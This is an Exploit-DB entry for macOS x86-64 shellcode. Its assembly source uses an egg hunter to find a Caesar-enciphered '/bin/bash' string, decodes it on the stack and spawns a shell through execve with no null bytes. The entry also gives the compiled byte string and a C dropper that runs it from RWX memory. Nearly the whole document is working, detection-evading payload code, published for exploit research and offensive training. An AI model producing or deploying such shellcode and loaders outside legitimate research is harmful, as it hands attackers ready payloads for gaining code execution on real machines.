macOS/x64 - Execve Caesar Cipher String Null-Free Shellcode

EDB-ID:

51178

Size:

286 bytes

Author:

boku

Platform:

macOS

Published:

2023-04-01

# Shellcode Title: macOS/x64 - Execve Caesar Cipher String Null-Free Shellcode (286 Bytes)
# Shellcode Author: Bobby Cooke (boku) @0xBoku github.com/boku7
# Date: 12/20/2022
# Tested on: macOS Monterey; 21.6.0 Darwin Kernel Version; x86_64
# Shellcode Description:
# macOS 64 bit shellcode. Uses execve syscall to spawn bash. The string is ceasar cipher crypted with the increment key of 7 within the shellcode. The shellcode finds the string in memory, copies the string to the stack, deciphers the string, and then changes the string terminator to 0x00.
# Shoutout to IBM X-Force Red Adversary Simulation team! Currently working through EXP-312 and tinkering with macOS shellcoding. Shoutout to the offsec team for the cool course! 
# Compile & run:
#     nasm -f macho64 execve.asm -o execve
#     for x in $(objdump -d execve --x86-asm-syntax=intel | grep "^ " | cut -f1 | awk -F: '{print $2}'); do echo -n "\x"$x; done; echo
#  # Add shellcode to dropper.c
#     gcc dropper.c -o dropper
#     sh-3.2$ pstree -p $(echo $$) | grep $$
#       \-+= 28533 bobby sh
#     sh-3.2$ ./dropper 
#       [+] testcode Length: 286 Bytes
#       [+] Copying testcode from variable at 0x10aeeade0 to allocated RWX memory at 0x10b030000
#       [+] Executing testcode at 0x10b030000
#     bobby$ pstree -p $(echo $$) | grep -B1 $$
#       \-+= 28533 bobby sh
#         \-+= 28584 bobby (bash)

bits 64
global _main

_main:
  create_stackframe:
    push rbp           ; push current base pointer to the stack
    mov rbp, rsp       ; Set Base Stack Pointer for new Stack-Frame
    sub rsp, 0x60      ; create space for string
    mov [rbp-0x8], rsp ; Save destination string buffer address
    jmp short lilypad_1

; char * string eggHunter(egg);
;     RAX                 RDIa
; description: starts searching for the supplied egg starting from the callers return address
eggHunter:
  mov rcx, [rsp]    ; start the egghunter from the caller function return address
  hunt:
    inc rcx         ; move to the hunter to the next byte
    cmp [rcx], di   ; did we find the first  egg?
    jne hunt        ; if not, continue hunt

    add cx, 0x2     ; move hunter to 2nd egg location
    cmp [rcx], di   ; did we find the second egg?
    jne hunt        ; if not, continue hunt

    add cx, 0x2     ; both eggs found! Move hunter +2 to return the start of buffer addr
    xchg rax, rcx   ; return start of string address
    ret

; int length strsize(&string, terminator);
;      RAX              RDI        RSI
; description: gets string size of a string that is terminated with a predetermined non-null byte. Terminator byte not included.
strsize:
  xor rax, rax      ; clear register
  xor rcx, rcx      ; set the counter to zero
  strsize_loop:
    mov rcx, rdi    ; start of string address
    add rcx, rax    ; current memory location of char in string
    cmp [rcx], sil  ; is this the null terminator?
    je strsize_return
    prevent_infinite_loop:
      cmp ax, 0x1001          ; compare value in RAX to 0x1001 (prevent infinite mem scanning)
      jg strsize_fail2find    ; if value in RAX is greater, jump to label
    inc rax                   ; move to the next char in the string
    jmp strsize_loop
  strsize_fail2find:
    xor rax, rax    ; return null/ 0x0
  strsize_return:
    ret

lilypad_1:
  jmp short lilypad_2

; char * string terminateString(&string, terminator);
;     RAX                          RDI        RSI
; description: Finds the string terminator and changes it to a null byte
terminateString:
  xor rcx, rcx      ; set the counter to zero
  mov rcx, rdi      ; start address to look for terminator
  loop_find_terminator:
    cmp [rcx], sil  ; is this the null terminator?
    je found_terminator
    inc rcx         ; move to the next char in the string
    jmp loop_find_terminator
  found_terminator:
    mov [rcx], al
    ret

; void * dst_addr move_memory(void *dst_addr, void *src_addr, size_t mem_size);
;        RAX                         RDI             RSI              RDX
; description: Move memory from source address to destination address
;  ARG1 - RDI: destination address
;  ARG2 - RSI: source address
;  ARG3 - RDX: size of the memory
move_memory:
  ; Loop through memory and move each byte from source to destination
  push rdi                 ; save the destination address so we can return it at the end
  xor rax, rax             ; register to temporarily hold the byte we are copying
  move_memory_loop:
    mov al, [rsi]          ; read the byte from source address into the temporary register
    mov [rdi], al          ; write the byte at the destination address
    inc rsi                ; increment source address
    inc rdi                ; increment destination address
    dec rdx                ; decrement memory size
    jnz move_memory_loop   ; repeat loop until memory size is 0
  ; Return to caller
  pop rax                  ; return the destination address of the memory to the caller
  ret

lilypad_2:
  jmp short lilypad_3

; void clear_memory(void *dst_addr, size_t mem_size);
;                         RDI              RSI
; description: Writes 0x00 bytes to a destination address
;  ARG1 - RDI: a pointer to the destination address
;  ARG2 - RSI: the size of the memory to be written to
clear_memory:
  mov rcx, rsi     ; load memory size from second argument into rcx
  xor rax, rax
  ; Loop through memory and write 0x00 to each byte in destination address
  clrmem_loop:
    mov byte [rdi], al   ; write 0x00 to byte in destination address
    inc rdi              ; increment destination address
    dec rcx              ; decrement memory size
    jnz clrmem_loop      ; repeat loop until memory size is 0
  
  ret ; Return to caller

; void basicCaesar_Decrypt(int stringLength, unsigned char * string, int chiperDecrementKey);
;                                  RDI                        RSI                RDX
basicCaesar_Decrypt:
  bcd_loop:
    sub [rsi], dl  ;  Subtract the value of dl from the memory location pointed to by RSI
    inc rsi        ;  Increment RSI to point to the next character
    dec rdi        ;  Decrement stringLength counter
    test rdi,rdi   ;  Test if stringLength counter is zero
    jnz bcd_loop   ;  If stringLength counter is not zero, jump back to the beginning of the loop

  ret ; Return to caller

lilypad_3:
  ; *string = eggHunter(egg); Starts hunt from return address of caller
  find_execve_string: 
    xor rdi, rdi        ; clear register
    mov  di, 0xBCB0     ; Arg 1: Our egg
    call eggHunter      ; returns string start address
    mov [rbp-0x10], rax ; Save string address

  get_strlen:
    mov rdi, [rbp-0x10]    ; Arg 1: string start address
    xor rsi, rsi           ; clear register
    mov sil, 0xFF          ; Arg 2: string terminator
    call strsize ; returns string size
    mov [rbp-0x18], rax    ; Save string size    
  
  ; move_memory(dst_addr, src_addr, mem_size);
  ;               RDI       RSI       RDX
  copy_str2stack:
    mov rdi, [rbp-0x8]      ; Arg 1: String buffer on stack
    mov rsi, [rbp-0x10]     ; Arg 2: Original string location
    mov rdx, [rbp-0x18]     ; Arg 3: size
    call move_memory

  ; basicCaesar_Decrypt(int stringLength, unsigned char * string, int chiperDecrementKey);
  ;                             RDI                        RSI                RDX
  do_caesar_cipher_decrypt:
    mov rdi, [rbp-0x18]       ; Arg 1: string size
    mov rsi, [rbp-0x8]        ; Arg 2: String buffer on stack
    xor rdx, rdx              ; clear register
    add dl, 0x7               ; Arg 3: Ceaser Chiper Key: 7
    call basicCaesar_Decrypt  ; returns string size


  do_terminate_string:
    mov rdx, [rbp-0x18]     ; string size
    mov rdi, [rbp-0x8]      ; String buffer on stack
    add rdi, rdx            ; Arg 1: string terminator location
    xor rsi, rsi            ; clear register
    mov sil, 0x1            ; Arg 2: mem size to null
    call clear_memory       ; returns string size

  ; execve("/bin/bash",NULL,NULL)
  execve:
    mov  rdi, [rbp-0x8]  ; Arg 1: String buffer on stack  
    xor  rsi, rsi        ; Arg 2: NULL
    xor  rdx, rdx        ; Arg 3: NULL
    xor  rax, rax        ; clear register for syscall number setup
    mov  al, 0x2         ; set a bit in register
    ror  rax, 0x28       ; move the bit over 28 bits to the right in the register
    mov  al, 0x3b        ; set the lower byte (AL) of the RAX register to the execve syscall number
    syscall              ; do the syscall interrupt
  
  fixstack:
    add rsp, 0x60    ; clear allocated stack space
    pop rbp          ; restore stack base pointer
    ret              ; return to caller

; ~~ Ceaser Chiper String Cryptor ~~
; Original String:   /bin/bash
; String Length:     9
; Ceaser Chiper Key: 7
; Chiper String:     6ipu6ihzo
; unsigned char chiperString[] = {0x36,0x69,0x70,0x75,0x36,0x69,0x68,0x7a,0x6f};
; unsigned char chiperString[] = "\x36\x69\x70\x75\x36\x69\x68\x7a\x6f";
; Dechipered String: /bin/bash
shell_path_string:	db	0xB0,0xBC,0xB0,0xBC,"6ipu6ihzo",0xFF

###########################################################################################################################################

// dropper.c

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*execute_testcode)();

const unsigned char testcode[] = 
"\x55\x48\x89\xe5\x48\x83\xec\x60\x48\x89\x65\xf8\xeb\x3c\x48\x8b\x0c\x24\x48\xff\xc1\x66\x39\x39\x75\xf8\x66\x83\xc1\x02\x66\x39\x39\x75\xef\x66\x83\xc1\x02\x48\x91\xc3\x48\x31\xc0\x48\x31\xc9\x48\x89\xf9\x48\x01\xc1\x40\x38\x31\x74\x0e\x66\x3d\x01\x10\x7f\x05\x48\xff\xc0\xeb\xea\x48\x31\xc0\xc3\xeb\x28\x48\x31\xc9\x48\x89\xf9\x40\x38\x31\x74\x05\x48\xff\xc1\xeb\xf6\x88\x01\xc3\x57\x48\x31\xc0\x8a\x06\x88\x07\x48\xff\xc6\x48\xff\xc7\x48\xff\xca\x75\xf1\x58\xc3\xeb\x1f\x48\x89\xf1\x48\x31\xc0\x88\x07\x48\xff\xc7\x48\xff\xc9\x75\xf6\xc3\x28\x16\x48\xff\xc6\x48\xff\xcf\x48\x85\xff\x75\xf3\xc3\x48\x31\xff\x66\xbf\xb0\xbc\xe8\x6d\xff\xff\xff\x48\x89\x45\xf0\x48\x8b\x7d\xf0\x48\x31\xf6\x40\xb6\xff\xe8\x76\xff\xff\xff\x48\x89\x45\xe8\x48\x8b\x7d\xf8\x48\x8b\x75\xf0\x48\x8b\x55\xe8\xe8\x96\xff\xff\xff\x48\x8b\x7d\xe8\x48\x8b\x75\xf8\x48\x31\xd2\x80\xc2\x07\xe8\xab\xff\xff\xff\x48\x8b\x55\xe8\x48\x8b\x7d\xf8\x48\x01\xd7\x48\x31\xf6\x40\xb6\x01\xe8\x84\xff\xff\xff\x48\x8b\x7d\xf8\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\xb0\x02\x48\xc1\xc8\x28\xb0\x3b\x0f\x05\x48\x83\xc4\x60\x5d\xc3\xb0\xbc\xb0\xbc\x36\x69\x70\x75\x36\x69\x68\x7a\x6f\xff";

int main() {
    size_t testcode_size = sizeof(testcode);

    printf("[+] testcode Length: %lu Bytes\n", testcode_size);
  
    void *rwx_memory = mmap(0, 0x1024, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
 
    if (rwx_memory == MAP_FAILED) {
        printf("[!] Failed to allocate RWX memory\n");
        perror("mmap");
        exit(-1);
    }
 
    printf("[+] Copying testcode from variable at %p to allocated RWX memory at %p\n",testcode,rwx_memory);
    memcpy(rwx_memory, testcode, sizeof(testcode));
    execute_testcode = rwx_memory;
 
    printf("[+] Executing testcode at %p\n",rwx_memory);
    execute_testcode();
    return 0;
}